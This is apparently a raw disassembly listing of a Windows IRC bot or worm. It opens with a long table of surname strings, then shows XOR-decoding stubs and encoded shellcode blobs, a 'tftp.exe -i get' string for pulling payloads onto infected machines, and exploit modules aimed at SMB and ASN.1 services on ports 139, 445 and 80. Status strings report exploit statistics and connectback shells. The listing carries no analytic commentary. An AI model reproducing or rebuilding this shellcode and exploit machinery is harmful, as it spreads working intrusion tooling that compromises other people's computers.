align 4 aDasilva db 'daSilva',0 ; DATA XREF: ___:0042D9F8o aCyders db 'Cyders',0 ; DATA XREF: ___:0042D9F4o align 4 aCvek db 'Cvek',0 ; DATA XREF: ___:0042D9F0o align 4 aCutler db 'Cutler',0 ; DATA XREF: ___:0042D9ECo align 4 aCurrier db 'Currier',0 ; DATA XREF: ___:0042D9E8o aCui db 'Cui',0 ; DATA XREF: ___:0042D9E4o aCroxton db 'Croxton',0 ; DATA XREF: ___:0042D9E0o aCroxen db 'Croxen',0 ; DATA XREF: ___:0042D9DCo align 4 aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042D9D8o aCrocker db 'Crocker',0 ; DATA XREF: ___:0042D9D4o aCrawford db 'Crawford',0 ; DATA XREF: ___:0042D9D0o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042D9CCo aCounter db 'Counter',0 ; DATA XREF: ___:0042D9C8o aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042D9C4o align 10h aCornish db 'Cornish',0 ; DATA XREF: ___:0042D9C0o aCorey db 'Corey',0 ; DATA XREF: ___:0042D9BCo align 10h aConnors db 'Connors',0 ; DATA XREF: ___:0042D9B8o aCondodina db 'Condodina',0 ; DATA XREF: ___:0042D9B4o align 4 aConcino db 'Concino',0 ; DATA XREF: ___:0042D9B0o aComstock db 'Comstock',0 ; DATA XREF: ___:0042D9ACo align 4 aCompton db 'Compton',0 ; DATA XREF: ___:0042D9A4o ; ___:0042D9A8o aCollis db 'Collis',0 ; DATA XREF: ___:0042D9A0o align 4 aCollard db 'Collard',0 ; DATA XREF: ___:0042D99Co aColella db 'Colella',0 ; DATA XREF: ___:0042D998o aColdren db 'Coldren',0 ; DATA XREF: ___:0042D994o aCoito db 'Coito',0 ; DATA XREF: ___:0042D990o align 4 aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042D98Co aClow db 'Clow',0 ; DATA XREF: ___:0042D988o align 4 aClifton db 'Clifton',0 ; DATA XREF: ___:0042D984o aClement db 'Clement',0 ; DATA XREF: ___:0042D980o aClark db 'Clark',0 ; DATA XREF: ___:0042D97Co align 10h aClancy db 'Clancy',0 ; DATA XREF: ___:0042D978o align 4 aClaffey db 'Claffey',0 ; DATA XREF: ___:0042D974o aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042D970o align 4 aCicero db 'Cicero',0 ; DATA XREF: ___:0042D96Co align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042D968o align 10h aChurch db 'Church',0 ; DATA XREF: ___:0042D964o align 4 aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042D960o align 4 aChu db 'Chu',0 ; DATA XREF: ___:0042D95Co aChristopher db 'Christopher',0 ; DATA XREF: ___:0042D958o aChristie db 'Christie',0 ; DATA XREF: ___:0042D954o align 10h aChristiano db 'Christiano',0 ; DATA XREF: ___:0042D950o align 4 aChristian db 'Christian',0 ; DATA XREF: ___:0042D94Co align 4 aChristenson db 'Christenson',0 ; DATA XREF: ___:0042D948o aChinman db 'Chinman',0 ; DATA XREF: ___:0042D944o aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042D940o aChilds db 'Childs',0 ; DATA XREF: ___:0042D93Co align 10h aChildress db 'Childress',0 ; DATA XREF: ___:0042D938o align 4 aChien db 'Chien',0 ; DATA XREF: ___:0042D934o align 4 aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042D930o align 10h aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042D92Co align 4 aCherry db 'Cherry',0 ; DATA XREF: ___:0042D928o align 4 aCheang db 'Cheang',0 ; DATA XREF: ___:0042D924o align 4 aCharles db 'Charles',0 ; DATA XREF: ___:0042D920o aChapman db 'Chapman',0 ; DATA XREF: ___:0042D91Co aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042D918o aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042D914o align 10h aCavell db 'Cavell',0 ; DATA XREF: ___:0042D910o align 4 aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042D90Co align 4 aCastelda db 'Castelda',0 ; DATA XREF: ___:0042D908o align 10h aCaspar db 'Caspar',0 ; DATA XREF: ___:0042D904o align 4 aCase db 'Case',0 ; DATA XREF: ___:0042D900o align 10h aCascio db 'Cascio',0 ; DATA XREF: ___:0042D8FCo align 4 aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042D8F8o align 4 aCarper db 'Carper',0 ; DATA XREF: ___:0042D8F4o align 4 aCaroti db 'Caroti',0 ; DATA XREF: ___:0042D8F0o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042D8ECo align 10h aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042D8E8o aCarlos db 'Carlos',0 ; DATA XREF: ___:0042D8E4o align 10h aCarlin db 'Carlin',0 ; DATA XREF: ___:0042D8E0o align 4 aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042D8DCo aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042D8D8o aCapursi db 'Capursi',0 ; DATA XREF: ___:0042D8D4o aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042D8D0o align 4 aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042D8CCo align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042D8C8o align 10h aCaperton db 'Caperton',0 ; DATA XREF: ___:0042D8C4o align 4 aCapanni db 'Capanni',0 ; DATA XREF: ___:0042D8C0o aCanley db 'Canley',0 ; DATA XREF: ___:0042D8BCo align 4 aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042D8B8o align 4 aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042D8B4o align 4 aCalnan db 'Calnan',0 ; DATA XREF: ___:0042D8B0o align 4 aCage db 'Cage',0 ; DATA XREF: ___:0042D8ACo align 4 aByrd db 'Byrd',0 ; DATA XREF: ___:0042D8A8o align 4 aByerly db 'Byerly',0 ; DATA XREF: ___:0042D8A4o align 4 aByatt db 'Byatt',0 ; DATA XREF: ___:0042D8A0o align 4 aBusetta db 'Busetta',0 ; DATA XREF: ___:0042D89Co aBurridge db 'Burridge',0 ; DATA XREF: ___:0042D898o align 10h aBurke db 'Burke',0 ; DATA XREF: ___:0042D894o align 4 aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042D890o align 10h aBurden db 'Burden',0 ; DATA XREF: ___:0042D88Co align 4 aBunton db 'Bunton',0 ; DATA XREF: ___:0042D888o align 10h aBullard db 'Bullard',0 ; DATA XREF: ___:0042D884o aBudding db 'Budding',0 ; DATA XREF: ___:0042D880o aBuchan db 'Buchan',0 ; DATA XREF: ___:0042D87Co align 4 aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042D878o aBrook db 'Brook',0 ; DATA XREF: ___:0042D874o align 4 aBroca db 'Broca',0 ; DATA XREF: ___:0042D870o align 10h aBritz db 'Britz',0 ; DATA XREF: ___:0042D86Co align 4 aBrinton db 'Brinton',0 ; DATA XREF: ___:0042D868o aBridges db 'Bridges',0 ; DATA XREF: ___:0042D864o aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042D860o align 4 aBrewer db 'Brewer',0 ; DATA XREF: ___:0042D858o ; ___:0042D85Co align 4 aBrennan db 'Brennan',0 ; DATA XREF: ___:0042D854o aBrenan db 'Brenan',0 ; DATA XREF: ___:0042D850o align 4 aBreed db 'Breed',0 ; DATA XREF: ___:0042D84Co align 4 aBrecht db 'Brecht',0 ; DATA XREF: ___:0042D848o align 4 aBradach db 'Bradach',0 ; DATA XREF: ___:0042D844o aBradac db 'Bradac',0 ; DATA XREF: ___:0042D840o align 4 aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042D83Co align 4 aBoyne db 'Boyne',0 ; DATA XREF: ___:0042D838o align 10h aBoym db 'Boym',0 ; DATA XREF: ___:0042D834o align 4 aBoyland db 'Boyland',0 ; DATA XREF: ___:0042D830o aBoyes db 'Boyes',0 ; DATA XREF: ___:0042D82Co align 4 aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042D828o align 4 aBoxer db 'Boxer',0 ; DATA XREF: ___:0042D824o align 4 aBowers db 'Bowers',0 ; DATA XREF: ___:0042D820o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042D81Co align 10h aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042D818o aBoudin db 'Boudin',0 ; DATA XREF: ___:0042D814o align 10h aBotosh db 'Botosh',0 ; DATA XREF: ___:0042D810o align 4 aBothman db 'Bothman',0 ; DATA XREF: ___:0042D80Co aBossi db 'Bossi',0 ; DATA XREF: ___:0042D808o align 4 aBorden db 'Borden',0 ; DATA XREF: ___:0042D804o align 10h aBorack db 'Borack',0 ; DATA XREF: ___:0042D800o align 4 aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042D7FCo align 4 aBoone db 'Boone',0 ; DATA XREF: ___:0042D7F8o align 4 aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042D7F4o align 4 aBook db 'Book',0 ; DATA XREF: ___:0042D7F0o align 10h aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042D7ECo align 4 aBoniface db 'Boniface',0 ; DATA XREF: ___:0042D7E8o align 4 aBonham db 'Bonham',0 ; DATA XREF: ___:0042D7E4o align 10h aBoner db 'Boner',0 ; DATA XREF: ___:0042D7E0o align 4 aBologna db 'Bologna',0 ; DATA XREF: ___:0042D7DCo aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042D7D8o align 4 aBolick db 'Bolick',0 ; DATA XREF: ___:0042D7D4o align 4 aBolger db 'Bolger',0 ; DATA XREF: ___:0042D7D0o align 4 aBlyth db 'Blyth',0 ; DATA XREF: ___:0042D7CCo align 4 aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042D7C8o aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042D7C4o align 4 aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042D7C0o aBloch db 'Bloch',0 ; DATA XREF: ___:0042D7BCo align 4 aBlizard db 'Blizard',0 ; DATA XREF: ___:0042D7B8o aBliss db 'Bliss',0 ; DATA XREF: ___:0042D7B4o align 4 aBlanke db 'Blanke',0 ; DATA XREF: ___:0042D7B0o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042D7ACo align 10h aBlagg db 'Blagg',0 ; DATA XREF: ___:0042D7A8o align 4 aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042D7A4o align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042D7A0o align 10h aBisho db 'Bisho',0 ; DATA XREF: ___:0042D79Co align 4 aBisema db 'Bisema',0 ; DATA XREF: ___:0042D798o align 10h aBir db 'Bir',0 ; DATA XREF: ___:0042D794o aBinion db 'Binion',0 ; DATA XREF: ___:0042D790o align 4 aBickel db 'Bickel',0 ; DATA XREF: ___:0042D78Co align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042D788o align 10h aBeynart db 'Beynart',0 ; DATA XREF: ___:0042D784o aBetti db 'Betti',0 ; DATA XREF: ___:0042D780o align 10h aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042D77Co align 10h aBernston db 'Bernston',0 ; DATA XREF: ___:0042D778o align 4 aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042D774o align 4 aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042D770o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042D76Co align 4 aBergson db 'Bergson',0 ; DATA XREF: ___:0042D768o aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042D764o align 4 aBelloc db 'Belloc',0 ; DATA XREF: ___:0042D760o align 4 aBellini db 'Bellini',0 ; DATA XREF: ___:0042D75Co aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042D758o align 4 aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042D754o align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042D750o align 4 aBelfer db 'Belfer',0 ; DATA XREF: ___:0042D74Co align 4 aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042D748o align 4 aBelanger db 'Belanger',0 ; DATA XREF: ___:0042D744o align 4 aBehenna db 'Behenna',0 ; DATA XREF: ___:0042D740o aBedford db 'Bedford',0 ; DATA XREF: ___:0042D73Co aBeder db 'Beder',0 ; DATA XREF: ___:0042D738o align 4 aBeckman db 'Beckman',0 ; DATA XREF: ___:0042D734o aBean db 'Bean',0 ; DATA XREF: ___:0042D730o align 4 aBeal db 'Beal',0 ; DATA XREF: ___:0042D72Co align 4 aBeacon db 'Beacon',0 ; DATA XREF: ___:0042D728o align 4 aBayo db 'Bayo',0 ; DATA XREF: ___:0042D724o align 4 aBayles db 'Bayles',0 ; DATA XREF: ___:0042D720o align 4 aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042D71Co align 4 aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042D718o align 4 aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042D714o align 10h aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042D710o align 4 aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042D70Co align 4 aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042D708o align 10h aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042D704o aBarry db 'Barry',0 ; DATA XREF: ___:0042D700o align 4 aBarriola db 'Barriola',0 ; DATA XREF: ___:0042D6FCo align 10h aBarnett db 'Barnett',0 ; DATA XREF: ___:0042D6F8o aBarneson db 'Barneson',0 ; DATA XREF: ___:0042D6F4o align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042D6F0o align 10h aBarberi db 'Barberi',0 ; DATA XREF: ___:0042D6ECo aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042D6E8o align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042D6E4o align 10h aBarajas db 'Barajas',0 ; DATA XREF: ___:0042D6E0o aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042D6DCo align 4 aBanta db 'Banta',0 ; DATA XREF: ___:0042D6D8o align 4 aBaltz db 'Baltz',0 ; DATA XREF: ___:0042D6D4o align 4 aBallew db 'Ballew',0 ; DATA XREF: ___:0042D6D0o align 4 aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042D6CCo align 4 aBaleja db 'Baleja',0 ; DATA XREF: ___:0042D6C8o align 10h aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042D6C4o align 4 aBailar db 'Bailar',0 ; DATA XREF: ___:0042D6C0o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042D6BCo aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042D6B8o aBady db 'Bady',0 ; DATA XREF: ___:0042D6B4o align 4 aBackus db 'Backus',0 ; DATA XREF: ___:0042D6B0o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042D6ACo align 10h aAzima db 'Azima',0 ; DATA XREF: ___:0042D6A8o align 4 aAyling db 'Ayling',0 ; DATA XREF: ___:0042D6A4o align 10h aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042D6A0o aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042D69Co aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042D698o align 4 aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042D694o aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042D690o align 10h aAugustus db 'Augustus',0 ; DATA XREF: ___:0042D68Co align 4 aAtkins db 'Atkins',0 ; DATA XREF: ___:0042D688o align 4 aArky db 'Arky',0 ; DATA XREF: ___:0042D684o align 4 aArjas db 'Arjas',0 ; DATA XREF: ___:0042D680o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042D67Co align 10h aArellano db 'Arellano',0 ; DATA XREF: ___:0042D678o align 4 aArduini db 'Arduini',0 ; DATA XREF: ___:0042D674o aArbia db 'Arbia',0 ; DATA XREF: ___:0042D670o align 4 aAntos db 'Antos',0 ; DATA XREF: ___:0042D66Co align 4 aAnthony db 'Anthony',0 ; DATA XREF: ___:0042D668o aAnsley db 'Ansley',0 ; DATA XREF: ___:0042D664o align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042D660o align 10h aAndron db 'Andron',0 ; DATA XREF: ___:0042D65Co align 4 aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042D658o align 4 aAndo db 'Ando',0 ; DATA XREF: ___:0042D654o align 4 aAndel db 'Andel',0 ; DATA XREF: ___:0042D650o align 4 aAnand db 'Anand',0 ; DATA XREF: ___:0042D64Co align 4 aAmsden db 'Amsden',0 ; DATA XREF: ___:0042D648o align 4 aAmeer db 'Ameer',0 ; DATA XREF: ___:0042D644o align 4 aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042D640o align 4 aAmaral db 'Amaral',0 ; DATA XREF: ___:0042D63Co align 10h aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042D638o align 4 aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042D634o aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042D630o align 4 aAlongi db 'Alongi',0 ; DATA XREF: ___:0042D62Co align 4 aAllison db 'Allison',0 ; DATA XREF: ___:0042D628o aAleks db 'Aleks',0 ; DATA XREF: ___:0042D624o align 4 aAlda db 'Alda',0 ; DATA XREF: ___:0042D620o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042D61Co align 4 aAlavi db 'Alavi',0 ; DATA XREF: ___:0042D618o align 4 aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042D614o align 4 aAdorno db 'Adorno',0 ; DATA XREF: ___:0042D610o align 4 aAdibe db 'Adibe',0 ; DATA XREF: ___:0042D60Co align 4 aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042D608o align 4 aAddison db 'Addison',0 ; DATA XREF: ___:off_42D604o aAdams db 'Adams',0 ; DATA XREF: ___:0042D600o align 4 aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042D5FCo align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42D5F8o align 10h byte_431250 db 50h ; DATA XREF: ___:0040ADEFo ; ___:0040ADFCr db 43h, 2 dup(0) dword_431254 dd 7C7325h ; DATA XREF: ___:0040AE9Ao dword_431258 dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AFA4o dword_431260 dd 3F3F3Fh ; DATA XREF: ___:loc_40AF9Bo ; sub_41AA42:loc_41AB05o dword_431264 dd 334B32h ; DATA XREF: ___:0040AF94o dword_431268 dd 5058h ; DATA XREF: ___:0040AF86o ; sub_41AA42+AAo dword_43126C dd 4B32h ; DATA XREF: ___:0040AF76o ; sub_41AA42+98o dword_431270 dd 454Dh ; DATA XREF: ___:0040AF5Do ; sub_41AA42+7Eo dword_431274 dd 3839h ; DATA XREF: ___:0040AF4Do ; sub_41AA42+6Co dword_431278 dd 544Eh ; DATA XREF: ___:0040AF3Do ; sub_41AA42+5Ao dword_43127C dd 3539h ; DATA XREF: ___:0040AF2Fo ; sub_41AA42+46o dword_431280 dd 5D64255Bh, 7325h ; DATA XREF: sub_40AFEA+3Ao dword_431288 dd 5D4D5Bh ; DATA XREF: sub_40AFEA+2Co ; sub_40AFEA+57o aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40AFEA+18o ; sub_418211+5o align 4 jmp short loc_431298 ; --------------------------------------------------------------------------- loc_431296: ; CODE XREF: ___:loc_431298p jmp short loc_43129D ; --------------------------------------------------------------------------- loc_431298: ; CODE XREF: ___:00431294j call loc_431296 loc_43129D: ; CODE XREF: ___:loc_431296j pop ebx xor ecx, ecx mov cx, 0FFFFh loc_4312A4: ; CODE XREF: ___:004312A9j xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_4312A4 add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cl, 0FFh loc_4312BA: ; CODE XREF: ___:004312BFj xor byte ptr [ebx+0Ch], 0FFh inc ebx loop loc_4312BA ; --------------------------------------------------------------------------- db 3 dup(0) dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; --------------------------------------------------------------------------- push 0 call sub_43135C jnz short loc_431348 retn ; --------------------------------------------------------------------------- loc_431348: ; CODE XREF: ___:00431345j ; ___:00431355j call near ptr loc_43134D+1 loc_43134D: ; CODE XREF: ___:loc_431348p add [edx+0], ch call sub_43135C jz loc_431348 retn ; =============== S U B R O U T I N E ======================================= sub_43135C proc near ; CODE XREF: ___:00431340p ; ___:00431350p pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn sub_43135C endp ; --------------------------------------------------------------------------- align 4 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o align 4 aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o align 10h aSym db 'sym',0 ; DATA XREF: sub_40C124+169o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40B7DA+30o align 4 dd 5 dup(0) dword_431408 dd 0B97h ; DATA XREF: sub_401ACD+1DA0r ; sub_401ACD+1DC9o ... off_43140C dd offset sub_40E0D0 ; DATA XREF: sub_40C124+1EAr dword_431410 dd 0 ; DATA XREF: sub_40B64A+2Eo ; ___:0040D495w ... dword_431414 dd 1 ; DATA XREF: sub_40BACD+1Fr dword_431418 dd 1 ; DATA XREF: sub_40BACD+3B3r dword_43141C dd 0 ; DATA XREF: sub_40BACD+292r dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40E206h, 0 dd 2 dup(1), 0 aNet139 db 'net139',0 align 4 dd 654E0000h, 69706174h, 393331h, 5 dup(0) dd 8Bh, 40DF8Eh, 0 dd 2 dup(1), 0 aNet445 db 'net445',0 align 4 dd 654E0000h, 69706174h, 353434h, 5 dup(0) dd 1BDh, 40DF8Eh, 0 dd 2 dup(1), 0 aAsn80 db 'asn80',0 align 4 dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0) dd 50h, 40D2D9h, 0 dd 2 dup(1), 0 aAsn445 db 'asn445',0 align 4 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D2D9h, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 4 dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D2D9h, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) aAsn445_0 db 'asn445',0 align 4 db 2 dup(0) byte_4315EA db 1 ; DATA XREF: sub_401ACD:loc_4037E6r ; sub_401ACD+1D23o db 73h dd 6D79h, 0 dd 100h, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_431616 ; =============== S U B R O U T I N E ======================================= sub_431606 proc near ; CODE XREF: sub_431606:loc_431616p pop edx dec edx xor ecx, ecx mov cx, 166h loc_43160E: ; CODE XREF: sub_431606+Cj xor byte ptr [edx+ecx], 99h loop loc_43160E jmp short loc_43161B ; --------------------------------------------------------------------------- loc_431616: ; CODE XREF: ___:00431604j call sub_431606 loc_43161B: ; CODE XREF: sub_431606+Ej jo short near ptr dword_4315A4+12h cwde cdq cdq retn sub_431606 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o align 4 dword_431798 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B64A+46o unk_4317A4 db 2Dh ; - ; DATA XREF: sub_40B64A+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_4317C4 db 2Dh ; - ; DATA XREF: sub_40B719+38o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_43180C db 2Dh ; - ; DATA XREF: sub_40B785+22o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 4 aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B7DA+7Fo dword_431848 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o dword_431858 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40B7DA+14o dd 7473694Ch, 3Ah unk_431874 db 2Dh ; - ; DATA XREF: ___:0040BA13o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_4318A8 db 2Dh ; - ; DATA XREF: ___:0040B921o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 4 unk_4318D8 db 2Dh ; - ; DATA XREF: sub_40BA56+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 4 unk_4318F8 db 2Dh ; - ; DATA XREF: sub_40BA56+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_431914 db 2Dh ; - ; DATA XREF: sub_40BACD+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 4 unk_431948 db 2Dh ; - ; DATA XREF: sub_40BACD+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_34 db '- Failed to start server, error: <%d>.',0 unk_431980 db 2Dh ; - ; DATA XREF: sub_40BACD+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 10h unk_4319B0 db 2Dh ; - ; DATA XREF: sub_40BACD+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start server, error: <%d>.',0 align 4 unk_4319E4 db 2Dh ; - ; DATA XREF: sub_40BACD+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 4 unk_431A18 db 2Dh 